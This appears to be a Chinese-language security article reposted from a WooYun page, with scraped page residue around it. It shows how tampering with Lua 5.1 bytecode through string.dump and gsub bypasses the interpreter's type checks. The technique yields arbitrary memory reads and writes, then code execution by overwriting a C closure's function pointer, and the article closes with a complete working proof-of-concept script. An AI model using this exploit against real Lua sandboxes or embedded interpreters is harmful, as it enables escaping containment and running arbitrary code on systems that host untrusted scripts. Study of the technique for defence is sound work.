<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/12677

            Author:[email protected]

            參考https://gist.github.com/corsix/6575486

            0x00 LUA數據泄露


            LUA提供了string.dump將一個lua函數dump為LUA字節碼,同時loadstring函數加載字節碼為LUA函數,通過操作LUA原始字節碼可以使得LUA解釋器進入特殊狀態,甚至導致BUG發生。

            #!cpp
            asnum = loadstring(string.dump(function(x)
              for i = x, x, 0 do
                return i
              end
            end):gsub("\96%z%z\128", "\22\0\0\128"))
            

            LUA字節碼固定長度32bits,4字節,定義如下:

            主要由op操作碼、R(A)、R(B)、R(C)、R(Bx)、R(sBx)組成。A、B、C對應于LUA寄存器索引。

            asnum函數可以將任意LUA對象轉換為數字。(注:LUA5.1 64bitLinux環境)gsub函數將字節碼\96%z%z\128替換為\22\0\0\128,如下:

            #!bash
            0071  60000080           [4] forprep    1   1        ; to [6]
            0075  1E010001           [5] return     4   2      
            0079  5F40FF7F           [6] forloop    1   -2       ; to [5] if loop
            

            執行gsub函數后,forprep指令被替換為JMP to [6],LUA解釋器forprep指令對應代碼如下:

            #!cpp
            case OP_FORPREP: {
                    const TValue *init = ra;
                    const TValue *plimit = ra+1;
                    const TValue *pstep = ra+2;
                    L->savedpc = pc;  /* next steps may throw errors */
                    if (!tonumber(init, ra))
                      luaG_runerror(L, LUA_QL("for") " initial value must be a number");
                    else if (!tonumber(plimit, ra+1))
                      luaG_runerror(L, LUA_QL("for") " limit must be a number");
                    else if (!tonumber(pstep, ra+2))
                      luaG_runerror(L, LUA_QL("for") " step must be a number");
                    setnvalue(ra, luai_numsub(nvalue(ra), nvalue(pstep)));
                    dojump(L, pc, GETARG_sBx(i));
                    continue;
            

            正常情況下lua在forprep指令會檢查參數是否為數字類型,并執行初始化,但是由于字節碼被替換為JMP,直接跳過了LUA類型檢查,進入forloop指令。

            #!bash
            case OP_FORLOOP: {
                    lua_Number step = nvalue(ra+2);
                    lua_Number idx = luai_numadd(nvalue(ra), step); /* increment index */
                    lua_Number limit = nvalue(ra+1);
                    if (luai_numlt(0, step) ? luai_numle(idx, limit)
                                            : luai_numle(limit, idx)) {
                      dojump(L, pc, GETARG_sBx(i));  /* jump back */
                      setnvalue(ra, idx);  /* update internal index... */
                      setnvalue(ra+3, idx);  /* ...and external index */
                    }
                    continue;
                  }
            

            forloop指令直接將循環參數轉換為lua_Number(double)類型,(因為正常情況下forprep已經檢查過類型了),然后執行加法(+ 0),執行dojump return x;返回lua_Number。

            LUA使用TValue表示通用數據對象,格式如下:

            Value(64bit) tt(32bit) padd(32bit)
            n LUA_TNUMBER
            GCObject *gc; -> TString* LUA_TSTRING
            GCObject *gc; -> Closure* LUA_TFUNCTION

            0x01 LUA任意內存讀/寫


            #!cpp
            read_mem = loadstring(string.dump(function(mem_addr) 
              local magic=nil
              local function middle()
                local f2ii, asnum = f2ii, asnum
                local lud, upval
                local function inner()
                  magic = "01234567"
                  local lo,hi = f2ii(mem_addr)
                  upval = "commonhead16bits"..ub4(lo)..ub4(hi)
                  lo,hi = f2ii(asnum(upval));lo = lo+24
                  magic = magic..ub4(lo)..ub4(hi)..ub4(lo)..ub4(hi)
                end
                inner()
                return asnum(magic)
              end
              magic = middle()
              return magic
            end):gsub("(\164%z%z%z)....", "%1\0\0\128\1", 1))  --> move 0,3
            

            先看最外部函數,對應的LUA字節碼如下:

            #!bash
            0785  A4000000           [1] closure    2   0        ; 2 upvalues
            0789  00008000           [2] move       0   1      
            078D  00000000           [3] move       0   0      
            0791  C0000001           [4] move       3   2      
            0795  DC808000           [5] call       3   1   2  
            0799  40008001           [6] move       1   3      
            079D  5E000001           [7] return     1   2      
            

            LUA使用CLOSURE A Bx指令創建函數的一個實例(或閉包)。Bx是要實例化的函數在函數原型表中的函數編號。

            closure 2 0 :創建0號函數對象,結果保存到2號寄存器,具體代碼如下:

            #!cpp
            case OP_CLOSURE: {
                    Proto *p;
                    Closure *ncl;
                    int nup, j;
                    p = cl->p->p[GETARG_Bx(i)];
                    nup = p->nups;
                    ncl = luaF_newLclosure(L, nup, cl->env);
                    ncl->l.p = p;
                    for (j=0; j<nup; j++, pc++) {
                      if (GET_OPCODE(*pc) == OP_GETUPVAL)
                        ncl->l.upvals[j] = cl->upvals[GETARG_B(*pc)];
                      else {
                        lua_assert(GET_OPCODE(*pc) == OP_MOVE);
                        ncl->l.upvals[j] = luaF_findupval(L, base + GETARG_B(*pc));
                      }
                    }
                    setclvalue(L, ra, ncl);
                    Protect(luaC_checkGC(L));
                    continue;
                  }
            

            LUA內部使用Proto 數據結構表示函數原型,記錄函數的一些基本信息。LUA使用UpVal數據結構記錄當前函數外部變量引用情況。如:

            #!cpp
            function parent()
              local upval=nil
              function child() upval="child" end
              child()
              print(upval) --output string child
            end
            

            父函數定義一個局部變量upval,子函數直接使用了該變量,此時父函數在創建閉包時會初始化upval列表,LUA編譯器生成CLOSURE A Bx指令后,會自動插入MOVE 0, B偽指令,R(B)指示帶入子函數的Upval寄存器編號。

            #!bash
            0785  A4000000           [1] closure    2   0        ; 2 upvalues
            0789  00008000           [2] move       0   1      
            078D  00000000           [3] move       0   0      
            0791  C0000001           [4] move       3   2     --R(3) = R(2)
            0795  DC808000           [5] call       3   1   2  --Call R(3)
            

            執行gsub("(\164%z%z%z)....", "%1\0\0\128\1", 1))【%1指示第一匹配項】,將move 0 1替換為move 0 3指令,而寄存器3對應的是一個CLOSURE對象。因此middle及inner函數里面的magic實際執行middle函數對象。

            LUA使用CALL A B C字節指令處理函數調用,寄存器 R(A)持有要被調用的函數對象的引用。函數參數置于R(A)之后的寄存器中。參數個數(B-1),返回值個數(C-1)。如call 3 3 1 表示R(3)->CLOSURE 參數2個分別是R(4)、R(5),無返回值。

            #!cpp
            case OP_CALL: {
                    int b = GETARG_B(i);
                    int nresults = GETARG_C(i) - 1;
                    if (b != 0) L->top = ra+b;  /* else previous instruction set top */
                    L->savedpc = pc;
                    switch (luaD_precall(L, ra, nresults)) {
                      case PCRLUA: {
                        nexeccalls++;
                        goto reentry;  /* restart luaV_execute over new Lua function */
                      }
            

            LUA使用CallInfo數據結構執行函數調用跟蹤,在luaD_precall函數使用inc_ci函數創建新的函數調用信息。

            #!cpp
            #define inc_ci(L) \
              ((L->ci == L->end_ci) ? growCI(L) : \
               (condhardstacktests(luaD_reallocCI(L, L->size_ci)), ++L->ci))
            

            lua_State->ci的call info for current function,每調用一個函數增加一個ci,RETRUN減少ci,CallInfo數據結構如下:

            #!cpp
            typedef struct CallInfo {
              StkId base;  /* base for this function */
              StkId func;  /* function index in the stack */
              StkId top;  /* top for this function */
              const Instruction *savedpc;
              int nresults;  /* expected number of results from this function */
              int tailcalls;  /* number of tail calls lost under this entry */
            } CallInfo;
            

            其中CallInfo 的func在luaD_precall函數中初始化指向R(A)對象

            我們跟蹤下inner函數大致流程:magic Upval通過修改字節碼方式指向了middle函數,inner函數在返回前將magic賦值為一個字符串,然后執行OP_RETURN指令返回middle函數。OP_RETURN最終調用luaD_poscall執行L->ci--,切換回上層函數調用CallInfo信息,然后goto reentry,如下:

            #!cpp
                LClosure *cl; 
            reentry:  /* entry point */
                lua_assert(isLua(L->ci));
                pc = L->savedpc;
            cl = &clvalue(L->ci->func)->l;
            base = L->base;
            k = cl->p->k;
            

            其中的&clvalue(L->ci->func)直接將ci->func轉換為Closure*指針,但inner函數已經將ci->func對象修改為一個字符串對象,此后k = cl->p->k行獲取函數原型的常量表。

            先看下字符串對象和Closure對象的內存布局。

            p1

            cl->p對應TString第9個字符串開始的內容,magic在inner函數被初始化為"01234567",將前8字節填充,并拼接兩個內存指針,【..為LUA字符串連接符】如下:

            magic = magic..ub4(lo)..ub4(hi)..ub4(lo)..ub4(hi)

            ub4函數將一個32位整數轉換為字符串,lo、hi分別對應64bit內存地址的低、高32位。該內存地址指向

            lo,hi = f2ii(asnum(upval));lo = lo+24

            注意upval是字符串類型(頭長度24),因此lo+24剛好指向字符串內容,因此cl->p實際指向"commonhead16bits"..ub4(lo)..ub4(hi)

            cl->p->k,對應的數據結構定義如下:

            #!cpp
            typedef struct Proto {
              CommonHeader;
              TValue *k;  /* constants u
            

            其中CommonHeader內存對齊后占用16字節,因此k指向我們傳遞的內存地址。

            同理cl->upvals[0]也指向我們構造的內存地址。

            #!cpp
            typedef struct UpVal {
              CommonHeader;
              TValue *v;  /* points to stack or to its own value */
            

            此后執行middle函數執行return asnum(magic)語句,對應字節碼如下:

            #!bash
            MOVE        5  1
            GETUPVAL    6  0    ; magic
            TAILCALL    5  2  0
            RETURN      5  0
            

            R(5) = R(1) = asnum函數對象,執行GETUPVAL 6 0 ,并將R(6)作為函數參數1調用asnum函數,最后返回asnum讀取結果。

            #!cpp
            case OP_GETUPVAL: {
              int b = GETARG_B(i);
              setobj2s(L, ra, cl->upvals[b]->v);
              continue;
            

            GETUPVAL 6 0 其中b=0因此cl->upvals[b]->v正是我們構造的內存地址,setobj2s函數從對應的內存地址復制數據到R(6),此后通過asnum讀取內容,實現任意內存地址讀操作。同理如果在middle函數中對magic進行賦值,即可實現對任意地址寫內存(實際會寫8字節數值以及4字節的tt類型)

            0x02 代碼執行


            LUA使用OP_CALL進行函數調用,luaD_precall中處理了C函數CALL,如下

            #!cpp
            /* if is a C function, call it */
                CallInfo *ci;
                int n;
                ci = inc_ci(L);  /* now `enter' new function */
                ci->func = restorestack(L, funcr);
                L->base = ci->base = ci->func + 1;
                ci->top = L->top + LUA_MINSTACK;
                ci->nresults = nresults;
                lua_unlock(L);
                n = (*curr_func(L)->c.f)(L);  /* do the actual call */
            

            LUA使用lua_pushcclosure函數創建C函數閉包對象,LUA基礎庫luaB_cowrap會調用lua_pushcclosure,創建一個CClosure *對象,具體LUA腳本如下:

            #!cpp
            co = coroutine.wrap(function() end)
            

            CClosure數據結構內存布局如下:

            p2

            其object偏移位置32為函數指針f,通過前面的內存寫技術可以將f替換為指定的函數地址即可實現任意代碼執行。

            0x03 附:POC代碼


            #!cpp
            asnum = loadstring(string.dump(function(x)
              for i = x, x, 0 do
                return i
              end
            end):gsub("\96%z%z\128", "\22\0\0\128"))
            
            ub4 = function(x) -- Convert little endian uint32_t to char[4]
              local b0 = x % 256; x = (x - b0) / 256
              local b1 = x % 256; x = (x - b1) / 256
              local b2 = x % 256; x = (x - b2) / 256
              local b3 = x % 256
              return string.char(b0, b1, b2, b3)
            end
            
            f2ii = function(x) -- Convert double to uint32_t[2]
              if x == 0 then return 0, 0 end
              if x < 0 then x = -x end
            
              local e_lo, e_hi, e, m = -1075, 1023
              while true do -- this loop is math.frexp
                e = (e_lo + e_hi)
                e = (e - (e % 2)) / 2
                m = x / 2^e
                if m < 0.5 then e_hi = e elseif 1 <= m then e_lo = e else break end
              end
            
              if e+1023 <= 1 then
                m = m * 2^(e+1074)
                e = 0
              else
                m = (m - 0.5) * 2^53
                e = e + 1022
              end
            
              local lo = m % 2^32
              m = (m - lo) / 2^32
              local hi = m + e * 2^20
              return lo, hi
            end
            
            ii2f = function(lo, hi) -- Convert uint32_t[2] to double
              local m = hi % 2^20
              local e = (hi - m) / 2^20
              m = m * 2^32 + lo
            
              if e ~= 0 then
                m = m + 2^52
              else
                e = 1
              end
              return m * 2^(e-1075)
            end
            
            read_mem = loadstring(string.dump(function(mem_addr) -- AAAABBBB 1094795585 1111638594
              local magic=nil
              local function middle()
                local f2ii, asnum = f2ii, asnum
                local lud, upval
                local function inner()
                  magic = "01234567"
                  local lo,hi = f2ii(mem_addr)
                  upval = "commonhead16bits"..ub4(lo)..ub4(hi)
                  lo,hi = f2ii(asnum(upval));lo = lo+24
                  magic = magic..ub4(lo)..ub4(hi)..ub4(lo)..ub4(hi)
                end
                inner()
                return asnum(magic)
              end
              magic = middle()
              return magic
            end):gsub("(\164%z%z%z)....", "%1\0\0\128\1", 1))  --> move 0,3
            
            x="AAAABBBB"
            l,h=f2ii(asnum(x))
            x=ii2f(l+24,h)
            print(f2ii(read_mem(x)))
            

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线